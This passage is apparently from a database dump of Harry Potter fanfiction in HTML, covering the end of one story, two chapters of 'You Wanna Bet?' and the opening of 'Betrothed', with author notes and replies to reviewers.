applauded &#8211; the Bloody Baron and the Grey Lady smiled at her -- and Sir\nNicholas and the Fat Friar took up the violins, while the Minister sat behind\nthe cello, and directed Catsky to the piano.</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Elise,&#8221; she smiled, &#8220;would you care to lead\nthis quartet?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">With a smile that would have lit up the castle,\nElise took out her wand and took up a position in front of the four. With a\nconfident wave, she started miming at conducting the mini-orchestra, and her\nsister, the Minister and the two ghosts started playing the Unknown Waltz.</p>\n\n<p class="MsoBodyTextFirstIndent">With a courtly bow, the Bloody Baron asked the\nGrey Lady for a dance. A dream-like curtsey, and the two ghosts were\ndancing.&nbsp; Brian and Ashley watched them\nfor a moment, when a movement in the corner caught their eyes.&nbsp; With a brilliant smile, Ashley whispered,\n&#8220;People &#8230;&#8221; while pointing to a corner, where they saw Peeves, with a smile of\nutter contentment, also dancing with a smiling Moaning Myrtle.</p>\n\n<p class="MsoBodyTextFirstIndent">A few seconds later, Sir Brian the Head Boy of\nHogwarts Castle bowed before Lady Ashley &#8230; with a courtly curtsy to him, they\njoined hands and started dancing to the magical music of the Unknown Waltz.</p>\n\n<p class="MsoBodyTextFirstIndent">&nbsp;</p>\n\n<p class="MsoBodyText">The End</p>\n\n<p class="MsoBodyTextFirstIndent">&nbsp;</p>\n\n<p class="MsoBodyTextFirstIndent">&nbsp;</p>\n\n\n\n\n\n\n'),
	(127, 1, '<div class="center"><span class="u"><b>You Wanna Bet?- Chapter One</b></span></div><p>A/N: Hello! And welcome to my new fanfic- \'You wanna bet?\' I decided that my writers\' block from all my other fics has started because this idea would not get out of my head. So, after writing the first few chapters of this, I will finally be able to go back to writing the others. Not quite sure whether to continue this or not. I decide soon though! Hope you enjoy!! : )</p><p>MAY I JUST SAY- Lily is not a wallflower in this Fanfic. It may seem like it in the first few paragraphs but trust me, she\'s not. ;) </p><p>~*~Karen~*~</p><p>\n~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~ </p><p>	James trudged along the train, trying to find the compartment all his friends were in. So far he\'d met the moody Ravenclaw prefects, ditzy blonde Hufflepuffs and Snapes\' Slytherin gang. Suffice to say, he was not in the best of moods until he heard the loud voice of Sirius Black coming from one of the compartments further up. </p><p>"Always the last one." He muttered to himself before pushing the compartment door open and meeting the stares of 3 of his 6 friend, Sirius Black, Remus Lupin and Peter Pettigrew.</p><p>"Jamesie!" Sirius shouted. "We were beginning to think you weren\'t coming. Anyway, we\'ve been thinking of some ideas for tonight\'s prank on the Slytherins. I say we go for the traditional approach, introduce the first years to the Pranksters of Hogwarts! What do you think?" Sirius paused to take a deep breath, long enough for James to open his mouth but not say anything. "So, have a good summer? I hope you\'ve been planning loads of pranks like me. How many girls did you get over the summer? And how many are you planning on this year? I expect you\'ve got the Quidditch team sorted, we need to get practicing as soon as possible to make sure we keep the cup."</p><p>Sirius stopped and looked at James expectantly. However, James just stared at Sirius in amazement, his mouth slightly agape. Whilst in this stupor he said, mainly to himself</p><p>"How can anyone talk so much and not bore themselves to death?"</p><p>At this point Remus smiled and said</p><p>"Don\'t worry James, he\'s been doing the same thing to anyone who walks through that door. It stops them from wanting to sit in here apparently!" Sirius smirked at what he took as a compliment.</p><p>	The gang spent a while exchanging stories of their summer holidays before the topic gradually got back to girls again.</p><p>"So James, how IS the girlfriend count going? How many are you aiming for this year?" Remus smirked at James. Sirius however, seemed to be thinking, which was very uncommon for him and was strangely silent. </p><p>"Well, I\'m gonna try for the 250 mark this year. Shouldn\'t be too hard." James replied, grinning.</p><p>	Almost as if a light bulb had gone off in Sirius\' head, he suddenly jumped out of his daydream to challenge James."Why don\'t we make it a little more interesting then. Put some spice into it."</p><p>"A bet?" James asked</p><p>"A bet." Remus nodded, moving over to sit next to Sirius who was grinning like a Cheshire cat.</p><p>"To prove to us you can get any girl you want to, we choose the girl and you have get her to be your girlfriend within the next 5 weeks. I\'ll bet you 10 galleons you cant."</p><p>"This is gonna be the easiest 10 galleons in my life. You\'re on."</p><p>"Good. Now, we just need to choose the girl. I reckon-" Remus began until Sirius cut him off.</p><p>"Hang on a minute. If you\'re so confident about winning this, why don\'t we up the stakes a little bit. How about 50?"</p><p>"50?!?" James looks towards the celing for a moment, thinking before returning his gaze and extending his hand to the two boys. "You\'re on!" He said with a grin.</p><p>"Good." Remus said whilst shaking James\' hand. "Excuse us a moment while we choose your fate."</p><p>	With that, Sirius and Remus got up and left the compartment. James turned to Peter and tried to start a conversation with him for once.</p><p>"I can\'t wait for this to start. I\'ll show those two. It\'s gonna be so easy. I mean, who wouldn\'t fall at my feet?!?"</p><p>	Peter merely squeaked and nodded in reply. A few minutes later Sirius re-entered the room followed by Remus, both carrying armfuls of food. James quickly opened a can of fizzy pumpkin juice and began listening to them.</p><p>"We have decided on the girl. it\'s . . ." Sirius paused. "Lily"</p><p>James nearly spat out his pumpkin juice. "No way! I can\'t do that to Lily, she\'s my best friend!"</p><p>"Exactly." said Remus "She\'d never think twice about wanting to go out with you!"</p><p>"You do it or hand me those 50 galleons now!" Sirius smiled in glee. It was clear he didn\'t think James would risk his friendship with Lily for just 50 galleons and neither did Remus so both looked shocked when James agreed. Both began to get slightly worried; Sirius worst of all.</p><p>"Listen mate, you don\'t have to do this, we won\'t take the money off you. We don\'t want you and Lily to hate each other or anything."</p><p>"No." James sighed. "I\'ll do it. A bets\' a bet."</p><p>What neither of the boys noticed was the glint in James eye that would clearly tell them he was up to something and formulating a plan inside his head. However, they didn\'t have much time to talk about it any furthers as at that moment the guys\' other friends, Lily, Jennifer (Jenny) and Arabella walked into the compartment.</p><p>"Finally!" Lily exclaimed as she flopped down next to James. "We thought we\'d never find you!"</p><p>"Yeah. Us three can only withstand so much gossip from the other Gryffindor gals so we came in search of you!" Arabella added in the same energetic way Sirius was earlier.</p><p>"However, we do also have some great gossip, they always start with the best bits first." Jenny joined in. "It seems that Brioney Westwood has been getting herself into trouble yet again although this time . . . ."</p><p>	The rest of the journey was spent exchanging stories, planning pranks and generally having a great time. James however, spent most of his time trying to decide how to tell Lily about his situation. By the time the group reached the horseless carriages, they were just putting the final touches to their plan and were then ready to pull their first prank of the year.</p><p>~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~</p><p>The main course of the start of term feast went very smoothly and the teachers were hoping they could go a whole feast  without a prank. Their hopes were short-lived as just as the final course came, instead of the usual jelly, cake, ice cream and pumpkin pie appearing on the Slytherin table, it was filled with custard pies. As if that was confusing enough, the whole group of newly sorted first years were changed into large clown costumes and seemed to be being forced to pick up the pies and chuck them at random Slytherins although Snape and Malfoy seemed to be favorites. By the time the pies had run out and the first years were back to their normal selves, there was not one Slytherin not coated with custard. Girls were screaming and most of the group rushed out of the hall to the dormitories although some greedy ones decided to stay put and finish their meal first. The first years had looks of horror on their little faces and some were looking at the other house tables longingly, wishing they had been placed there instead.</p><p>The rest of the school were in fits of laughter, and laughed even harder when Professor McGonnagal called out </p><p>"Potter! Black! Lupin! Pettigrew! My office NOW!" Sirius and Remus merely smirked and followed the professor with Peter trotting behind. James stayed back though and, before going whispered into Lily\'s ear</p><p>"I\'ve got a proposition for you which you may be interested in. Meet me n the common room at midnight?" Lily turned her head, nodded in consent and smiled before James ran out of the hall trying to catch up with the others before he got into even more trouble.</p><p>~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~\n\n</p><p>A/N: Well there you have it. I thank you for reading this far. I know it\'s a bit confusing at the moment but all will be explained in the next chapter, which is already half written. James\'ll explain to Lily the bet and ask her about his idea. So until next time, Happy Reading! : )</p><p>~*~Karen~*~	\n\n\n'),
	(127, 2, '<b><span class="u"><div class="center">You Wanna Bet?: Chapter Two</div></span></b><p>Thankyou everyone for all your lovely reviews. Sorry for the wait, had TONS of work to do. Then my Hard drive failed. :( Hopefully the next chapter will be up sooner. :D I apologise in advance but I\'m one of those people who has to say thanx to all her reviewers!!!</p><p>To my lovely reviewers:</p><p><b>Blue Rain:</b>Thankyou very much, I hope the 2nd chapeter is as interesting as the first. :D</p><p><b>Sayrabeth:</b>Thankyou, hope you enjoy this one.</p><p><b>DELILA:</b>next chapter for you! :D</p><p><b>Sourplummers:</b>Wow! Have I actually converted someone!?!? kind of? Hope you like this chap and I dont put you off them!!!:D</p><p><b>Joan the Vampire Slayer:</b>Thankyou :D Hopefully this chap will be worth a 9 too! :lol:</p><p><b>lorelai:</b>Thankyou :D Hope you like this chap too. :) one.</p><p><b>hermione_best_student:</b>Thankyou, hope this ones just as good. :)</p><p><b>tash:</b> Well, I took your advice and this is what I came up with. :)</p><p><b>person-mad-at-nappa:</b> Just for you! :D Hope this is worth a 10 too! ^_~</p><p><b>PCiAwtGotP:</b>Thankyou, hope you like this chap! :D</p><p><b>Erin:</b> Thankyou, I promise I\'ll email you back but as I said, I havn\'t had my computer recently. :(</p><p><b>Bingblot:</b>Thankyou, hopefully, next chapter will grab hold a bit more of your attention. :D</p><p><b>Clair:</b>I\'d go for option 2! ^_~ Hope you enjoy this chapter. :D </p><p></p><div class="center">~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~</div><p></p><p></p><p>As the fire embers were gradually fading a lone figure made their way down the dormitory stairs. As they reached the bottom, she sighed and muttered.</p><p>"Typical James, always late."</p><p>She made her way over to the couch by the fire and decided to give James 10 minutes to show up. However, as soon as she sat down she heard a yelp come from beneath her and jumped up from the sofa. Gradually, James face and body appeared from under his invisibility cloak. His features clearly showed he had been sleeping and Lily had to wait a few minutes before James fully woke up. Once awake, James started telling Lily what he had got himself into.</p><p>"Well, You know how much Sirius and I like bets?"</p><p>"Oh no . . . What have you got yourself into this time James? "</p><p>"Well, you see Sirius, Remus and I kind of had a bet to show I could get any girl I wanted and to prove it, I have to get with the girl they choose in the next 5 weeks. And well." James paused. "Well the girl they chose was . . . you."</p><p>The smile that Lily had on her face was wiped off and replaced with a look of shock.</p><p>"Then why are you telling me this?"</p><p>"Well, I don\'t want to lose the money, but I don\'t want to hurt you either. So, I decided to tell you and ask if we can work together. You\'ll get ½ the winnings, 25 galleons."</p><p>"25 galleons! Sure I\'m in! We\'re gonna have to make it believable though. I say we start \'officially\' going out in about a week and a half from now. Until then I think we . . . ."</p><p>The two spent most of the night planning what to do until the fire had long gone out and James looked at his watch.</p><p>"Shit! Its 3 \'o\' clock in the morning and we\'ve got lessons later. Perhaps we\'d better try and get some sleep."</p><p>"I agree," Lily said whilst stifling a yawn. "This is gonna be hilarious."</p><p>"And profitable too." James added. "Well, goodnight Lily."</p><p>"Goodnight James." With that she hugged James and went up to her own dorm. James stood in the same position and watched Lily until she disappeared. He then shock his head and made his way up to his own dorms.</p><p></p><div class="center">~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~</div><p></p><p>The next morning Lily woke up to find James hovering by the side of her bed cleaning up a pool of water and the remnants of a glass bowl. He was muttering to himself</p><p>"Jeez, why do I always have to be so clumsy. All I try to do is play one prank and I can\'t even get that right."</p><p>Lily couldn\'t help herself from making a comment.</p><p>"Awww, don\'t worry, we can still make a use of you yet."</p><p>James nearly jumped out of his skin upon hearing Lily.</p><p>"Lily! Er Hi. I was um, just, well." James paused and Lily looked at him expectantly. "I didn\'t know you had woken up." He finished lamely."Well, I was asleep until someone\'s whinings woke me up. Come on, I might as well get up now. Wait for me in the common room, I\'ll be down in about 15 minutes."</p><p>James nodded and walked out of the room guiltily.</p><p>When Lily met James in the common room they decided to make their way down to breakfast even though, most people wouldn\'t be there for another ½ hour.</p><p>"Anyway, the reason why I woke you up early was to ask you about the plan. Are you sure you want to start step one today, we can wait a while if you want to."</p><p>"Well. I think we might as well start today, I means we\'ll get all that money, that much quicker." A wide grin spread across Lily\'s face as she said this."I can\'t wait till I get those guys back for choosing me!"</p><p></p><div class="center">~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~</div> <p></p><p>Later on, on the way to their History of Magic class, Lily and James were walking ahead of the other five, their heads close together. The two girls were standing in between Sirius and Remus with Peter tagging along behind.</p><p>"Blimey, Lily and James seem to be getting on really well this year" Jenny said.</p><p>"Yeah." Remus agreed awkwardly. Sirius just laughed nervously. Both Sirius and Remus were still feeling guilty from the bet they had made yesterday. </p><p>"Heh heh. But Lily would never go out with him right? She knows what a player he is."Arabella scoffed at Sirius\' comment. </p><p>"You can\'t talk. You\'re worse than James is. Want James for yourself?!?" Jenny laughed</p><p>"But seriously, Jenny and I both know Lily has a crush on James. She keeps denying it but we know its true. It won\'t be long before they\'re going out." Both girls sighed contentedly.</p><p>Both guys exchanged nervous glances as they made their way through the door into the History of Magic classroom and sat at the only free table, the opposite side of the class to James and Lily.</p><p>As professor Binns started reading out his notes monotonously reading out his notes, the group of Gryffindors were discussing Lily and James behavior towards each other</p><p>"See that?" Bella said excitedly. "James is so obviously flirting with her. See all the hand movements, he\'s obviously engrossed in talking to Lily"</p><p>The group stopped talking and watched laugh at whatever James just said. They carried on their conversation before she put on a mock serious face and hit James on the arm.</p><p>"Oh my gosh! Jenny exclaimed. "She is SO flirting back. See, we were right!" What happened next, sent the group into silence and then all burst into laughter at once.</p><p>At Lily and James table, James was talking excitedly about his most recent ideas of pranks to do on Snape. He had just finished telling Lily about his favorite idea, which had Lily shaking with silent laughter. After Lily had composed herself, their conversation continued.</p><p>"Why do you pull so many pranks on Snape and Malfoy anyway? I know they\'re evil and all that but don\'t you think you should give them a break sometime? They\'ll become suspecting and then your pranks won\'t be as effective!" Lily finished dramatically.</p><p>"True, but who else can we prank?" A gleam came into James\' eyes. "Unless we start with You, Bella and Jenny?" He questioned, a slight smile on his face.</p><p>"You do and you die." Lily said whilst hitting his arm. Unfortunately for James, he was swinging back on his chair at the time and his eyes gained a look of shock before he grabbed for the table, missed and landed on the floor with a loud \'thud\'. Professor Binns didn\'t seem to notice what was going on at the back of the class but the rest of the students did. Lily burst out laughing as did most of the class at the look of pure shock on James face, which was going pink with embarrassment.</p><p>Lily stopped laughing, long enough to help James up.</p><p>"Sorry James." As an afterthought, she said. "Think of it as a warning if you ever decide to pull pranks on us three!"</p><p>"If total humiliation is a warning, what\'s the real thing like?!?"</p><p>Lily just smiled sweetly and the two drifted into a comfortable silence. </p><p></p><div class="center">~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~</div> <p></p><p>About half an hour later, James was fast asleep, his head held up by his hands, a slight smile on his face. Lily too was asleep, her head resting on the table. At the other group\'s table was a much different sight.</p><p>"Awww, look at that, they\'re just so cute together." Jenny sighed</p><p>"Yeah, just look at them staring at each other!" Bella added. Sirius rolled his eyes before saying</p><p>"Don\'t you think you two are taking this matchmaking thing a bit too far. Anyway, it\'s obvious they\'re asleep."</p><p>"They can\'t be, Lily never falls asleep in class."</p><p>"Well, I think that today is a first!" Remus said.</p><p>"I bet they\'re not" Jenny said sluggishly, whilst still looking at James and Lily.</p><p>As soon as the words came out of her mouth, Sirius\' eyes lit up.</p><p>"Oooh! A bet"</p><p>"Oh boy, not again" Remus sighed</p><p>"We bet you 2 galleons that they\'re not asleep"</p><p>"Um excuse me? We? You can count me out of this one." Remus said</p><p>"Me too. Bella it\'s up to you if you want to"</p><p>Arabella was never one to refuse a bet, just like Sirius and James. She grinned at Sirius and held her hand out.</p><p>"Be prepared to lose your money. We can find out after the bell."</p><p>The group then sat in silence, watching the couple on the other side of the class.</p><p></p><div class="center">~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~</div><p></p><p>15 minutes later, the group was making their way out of the classroom, Sirius with a huge grin on his face, glad he had won his bet. Arabella, walking slightly behind him, had her arms crossed but still had a smile on her face and James was at the back of the line, holding his head.</p><p>Just before the bell had gone, James head had slipped and, just as the bell signaled the end of class, James was jerked awake by his head hitting the table.</p><p>Meanwhile, Sirius turned round to face all his friends before saying</p><p>"Some History lesson eh?!?"</p><p></p><div class="center">~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~</div><p></p><p>(A/N: Phew, that took AGES to type up.Yes, yes, I know your thinking that chapter was VERY boring but it was just a chapter to tie it all together. *Ah, now I understand* you all go!!! :D Hopefully the nxt chapter will be longer and have more of L/J\'s "relationship" in it! :D</p><p> Anyway, its finished now and my inspiration is slowly going . . . . going . . . . .</p><p>Noooooo! Come back!!!!! *Chases after inspiration*Ahem. Anyway, hope to get the next chapter up relatively quickly, got an inset day next monday so I\'ll spend my time typing then! :D</p><p>~*~Karen~*~ '),
	(128, 1, '\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Betrothed<br>\n<br>\nE. C. R. Potter<br>\n<br>\nSummary: A transfer student comes to Hogwarts in the trio\'s sixth year and\nclaims to be Harry Potter\'s betrothed since childhood: his future wife. Things\nstart to get suspicious however when people start falling into comas. Will contain\nH/Hr.<br>\n<br>\nDisclaimer: The Harry Potter series belongs to J.K. Rowling, Warner Bros. Inc.,\nScholastic, Bloomsbury, Raincoast,\nand any other affiliated party.<br>\n<br>\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^<br>\n<br>\nChapter 1: Cassandra Frost<br>\n<br>\n&quot;I heard there\'s going to be a transfer student this year,&quot; said Ron Weasley. &quot;I hope it\'s a girl.&quot; Harry Potter,\nHermione Granger, and Ron Weasley were just starting\ntheir sixth year at Hogwarts School of Witchcraft and Wizardry. They had just\nwitnessed the sorting of new first years.<br>\n<br>\nHermione rolled her eyes. &quot;Ron, are girls the only thing you have on your\nmind?&quot;<br>\n<br>\n&quot;Yes,&quot; said Ron with a large grin. Harry started snickering as\nHermione rolled her eyes and turned to the doors of the Great Hall to catch a\nglimpse of the transfer student.<br>\n<br>\nHeadmaster Albus Dumbledore stood up and started\nspeaking, &quot;Students, I have an announcement to make. This year, Hogwarts\nhas a new student from Durmstrang. She will be in\nsixth year. So will everyone please welcome Miss Cassandra Frost.&quot;<br>\n<br>\nMinerva McGonagall walked into the Great Hall with a young girl of around\nsixteen. She was quite tall at five foot eight, had straight waist length raven\nblack hair, icy blue eyes, an extremely pale complexion, and a voluptuous\nfigure. She caught the sight of virtually every boy in the school who gazed at\nher their jaws dropped. In fact, as far as Hermione could see, Harry was the\nonly one who wasn\'t captured by Cassandra\'s looks.<br>\n<br>\nCassandra walked up to the stool in front of the head table and McGonagall\nplaced the tattered sorting hat on her head. After a few tense minutes, the hat\ncalled out, &quot;RAVENCLAW!&quot; The Ravenclaw\ntable cheered as Cassandra took her place at the Ravenclaw\ntable. The other three tables groaned.<br>\n<br>\n&quot;Damn it! I wish she were a Gryffindor,&quot; declared Ron as he stuffed\nchicken into his mouth. Hermione simply rolled her eyes and started drinking\nher soup.<br>\n<br>\nAfter about twenty minutes, Cassandra left the Ravenclaw\ntable and made her way to the Gryffindor table. The attention of all the\nGryffindor boys snapped to her as Cassandra caught sight of the lightning bolt\nshaped scar on Harry\'s forehead. &quot;Harry Potter?&quot; she asked.<br>\n<br>\nHarry groaned. He had long gotten used to his fame in the wizarding\nworld but he still did not like it. &quot;Yeah I\'m Harry Potter. Just your\naverage sixteen year old boy who just happens to have a scar...&quot; Harry\nwould\'ve continued if Cassandra hadn\'t pulled him into a deep kiss.<br>\n<br>\nAfter about a minute, Cassandra pulled away from Harry with a large smile on\nher face. Harry had a look of utter disbelief and shock on his face. Ron also\nseemed to shocked as well with his jaw dropped and\nHermione looked shocked and absolutely furious. The entire male population of\nHogwarts looked jealous of Harry while the female population looked at\nCassandra with disbelief. Even the professors were speechless.<br>\n<br>\nHarry finally snapped out of his trance. &quot;Why did you do that for?&quot;\nhe yelled.<br>\n<br>\nCassandra simply smiled sweetly at him. &quot;But Harry,\nisn\'t it OK for a girl to kiss her betrothed?&quot;<br>\n<br>\nHarry suddenly started pale. &quot;W-what d-do you\nm-mean b-by betrothed.&quot;<br>\n<br>\n&quot;I am your betrothed Harry. I am your fianc&#233;.&quot; The silence that\nfilled the hall after this announcement was deafening.<br>\n<br>\n&quot;WHAT?!&quot; yelled Harry. &quot;How could you be my fianc&#233;?!&quot;<br>\n<br>\nThis was followed by a number of murmurs throughout the Great Hall. Draco Malfoy even shouted,\n&quot;Did you hear that? Famous Potter even gets a wife without any\neffort.&quot; Ron was still staring at Cassandra speechless. Nobody noticed\nHermione as everyone\'s attention was tuned to Harry and Cassandra.<br>\n<br>\nWordlessly, Cassandra pulled a parchment from her robes. Harry grabbed it and\nsaw that it was a magical contract. He read it out loud:<br>\n<br>\n<i style="mso-bidi-font-style:normal">We the parents of the below mentioned\nhereby declare that our offspring, Harry James Potter and Cassandra Lilith Frost shall be wed after they come of age at the age\nof eighteen.<br>\n<br>\nRobert Frost<br>\n<br>\nMarilyn Bishop Frost<br>\n<br>\nJames Potter<br>\n<br>\nLily Evans Potter<br>\n<br>\nFebruary 1st, 1981<br>\n</i><br>\nHarry simply stared at the parchment in disbelief. He couldn\'t believe that his\nparents had bonded him to life with someone he had never met. Murmurs once\nagain spread throughout the Great Hall as people stood up and tried to make\ntheir way to Harry and Cassandra and decide for themselves whether the contract\nwas real or not. Amidst all the chaos, no one had noticed that Hermione had run\nout of the Great Hall crying.<br>\n<br>\nHarry stared at Cassandra who was smiling sweetly. &quot;You see Harry, we are\nmeant for each other.&quot;<br>\n<br>\n* * * * * * * * * *<br>\n<br>\nLater that night, Harry was pacing back and forth in Dumbledore\'s office. Also\npresent there along with Harry and the headmaster were Harry\'s godfather Sirius\nBlack and Remus Lupin who\nhad returned that year as the Defense against the Dark Arts professor.\nDumbledore finally spoke, &quot;I am very sorry, Harry.&quot;<br>\n<br>\n&quot;Sorry?!&quot; yelled Harry in disbelief. At this point he didn\'t care\nthat he was speaking with the headmaster. &quot;I just found out that my\nparents had set me up with someone for life without my consent!&quot;<br>\n<br>\n&quot;That\'s not entirely true, Harry,&quot; said Lupin.<br>\n<br>\n&quot;What do you mean?&quot;<br>\n<br>\nSirius sighed and said, &quot;Lily and James had know idea that they had been\ntricked into doing this.&quot;<br>\n<br>\n&quot;What?&quot;<br>\n<br>\n&quot;The Frosts are one of the most influential pure blood families in England,&quot;\nsaid Dumbledore. &quot;They have had a long time friendship with the Potters\nand it was decided decades ago that their two families would join together as\none at a certain time. That time happened to be the time when you and Cassandra\nwere born.&quot;<br>\n<br>\n&quot;But the thing was, James and Lily wanted nothing to do with it,&quot;\nsaid Sirius. &quot;So the Frosts tricked them into signing the magical contract\nand kept that fact a secret from them. James and Lily died never knowing that\nyou were betrothed to the Frosts\' daughter.&quot;<br>\n<br>\n&quot;Harry, you are aware of what happens if you break a magical contract\nright?&quot; said Lupin. &quot;You end up living a\ncursed life of misery and despair.&quot;<br>\n<br>\nHarry was still pacing back and forth. &quot;Is there any way I can be released\nfrom this contract?&quot;<br>\n<br>\n&quot;There are two ways to be released from a magical contract,&quot; said\nDumbledore. &quot;The first way is if one of the betrothed dies prematurely.\nThe other way is if one of those who originally signed the contract crosses off\nhis or her name.&quot; He studied the contract for a minute. &quot;Unfortunately,\nRobert Frost was killed by Death Eaters a few weeks after he signed this\ncontract. However, I believe that Marilyn Frost currently resides in Romania.&quot;<br>\n<br>\n&quot;I\'ll go search for her and try to get her to cross her name off the\ncontract,&quot; said Sirius. He grinned. &quot;After all, I\'m sure she\'d oblige\nafter a little convincing from a `dangerous\' fugitive.&quot;<br>\n<br>\nDumbledore nodded. &quot;Good luck Sirius.&quot; Sirius tucked the contract\ninto his robes as he shook hands with Dumbledore. He also embraced Lupin and ruffled Harry\'s hair before he changed into a\nblack dog and left the office. &quot;We\'ll sort this all out, Harry,&quot; said\nDumbledore.<br>\n<br>\n&quot;I sure hope so,&quot; said Harry as he plopped down on one of the chairs\nfacing Dumbledore\'s desk. &quot;Otherwise I\'ve just got two more years to enjoy\nsingle life.&quot;<br>\n<br>\n* * * * * * * * * *<br>\n<br>\nHermione was in her dorm room, crying into her pillow. There was a silent knock\non the door and Ron\'s voice came quietly, &quot;Hermione?&quot;<br>\n<br>\n&quot;Go away,&quot; squeaked Hermione. Ron ignored her and walked into the\nroom. He sat down on Hermione\'s bed right next to her.<br>\n<br>\n&quot;You want to tell me why you\'re crying?&quot; he asked. There was much\nconcern in his voice.<br>\n<br>\n&quot;No.&quot;<br>\n<br>\n&quot;Come on Hermione. Tell Dr. Ronny about what\'s been eating you.&quot;<br>\n<br>\nHermione slowly lifted her face from the pillow. Her eyes were red and puffy\nand her cheeks were stained with tears. &quot;Harry\'s got a fianc&#233;,&quot; she\nsaid. &quot;He\'s getting married.&quot;<br>\n<br>\nRon snorted. &quot;I\'ll say. That git gets to have\neverything doesn\'t he; even a future wife. But is it really something to cry\nabout?&quot; Hermione simply remained quiet and let a few more tears fall.\nSomething suddenly dawned on Ron. &quot;Hermione? No\nbloody way!&quot;<br>\n<br>\n&quot;Yes,&quot; mumbled Hermione as a blush settled on her cheeks.<br>\n<br>\n&quot;You\'re in love with Harry?&quot;<br>\n<br>\nHermione nodded mutely and burst into another round of sobs.<br>\n<br>\n&quot;Since when?&quot;<br>\n<br>\n&quot;First year. Since the\ntroll.&quot;<br>\n<br>\n&quot;Throughout our entire friendship?&quot; Hermione\nnodded. Ron seemed to be absorbing this new information before he said,\n&quot;You have to tell him.&quot;<br>\n<br>\n&quot;He\'s under a magical contract, Ron. You know what that means. If I tell\nhim, it won\'t just ruin our friendship. It\'ll ruin his life!&quot; Hermione\nburied her face into her pillow once more and continued crying. Ron had nothing\nto say so he gently rubbed her back. After a while, Hermione calmed down a\nlittle. She looked up at Ron and offered him a weak smile.<br>\n<br>\n&quot;Thank you for being here for me Ron. I\'ll be alright.&quot;<br>\n<br>\n&quot;Are you sure?&quot; Hermione still had tears leaking out of her eyes but\nshe nodded. Ron pulled her into a gentle hug before he left the room. A few\nminutes later, Hermione drifted off to sleep.<br>\n<br>\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^<br>\n<br>\nA/N How did you like this first chapter? Does it catch your attention? The\ngenre of this story is horror and the horror will start from next chapter. So\nread and review this story. I hope it can live up to everyone\'s expectations\nalthough it\'s not going to be as long as my previous stories. Enjoy.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(128, 2, '\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Disclaimer: The <u>Harry\nPotter</u> series belongs to J.K. Rowling, Warner Bros. Inc., Scholastic,\nBloomsbury, Raincoast, and any other affiliated party.</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">Chapter\n2: The First Victim</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">&nbsp;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">For\nthe next few weeks, things were pretty much as ordinary as things were at\nHogwarts.&nbsp; The students went to class,\nhad Quidditch practices, and had house points added or deducted.&nbsp; Harry would&#8217;ve enjoyed his school life even\nmore so if Cassandra weren&#8217;t hanging on him like an extra appendage for the\nmajority of the day.</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">&nbsp;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">Cassandra\nalways elected to sit with Harry rather than the Ravenclaws during the meal\ntimes and often tried to spoon-feed him, a source of constant embarrassment for\nHarry.&nbsp; She also always forcibly laced\nher arm through Harry&#8217;s while they were walking down hallways and there were\ntimes when she would suddenly kiss him full on the lips.</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">&nbsp;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">Harry\nfor his part wanted nothing to do with any of this.&nbsp; But when he tried to reason with Cassandra, she just said,\n&#8220;Harry, we are betrothed.&nbsp; Are these not\nwhat people ordinarily do with their beloved?&#8221;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">&nbsp;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">&#8220;Cassandra,\nI&#8217;m sorry to say this but I don&#8217;t have any feelings for you.&#8221;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">&nbsp;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">&#8220;But\nHarry.&nbsp; We are bonded.&nbsp; Surely you realize that we will be married\nin two years.&nbsp; We can grow to love each\nother during those two years.&#8221;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">&nbsp;</p>\n\n<p class="MsoBodyText" style="margin:0in;margin-bottom:.0001pt;layout-grid-mode:\nchar">Harry\ncouldn&#8217;t say anything back since he was indeed bounded to her by 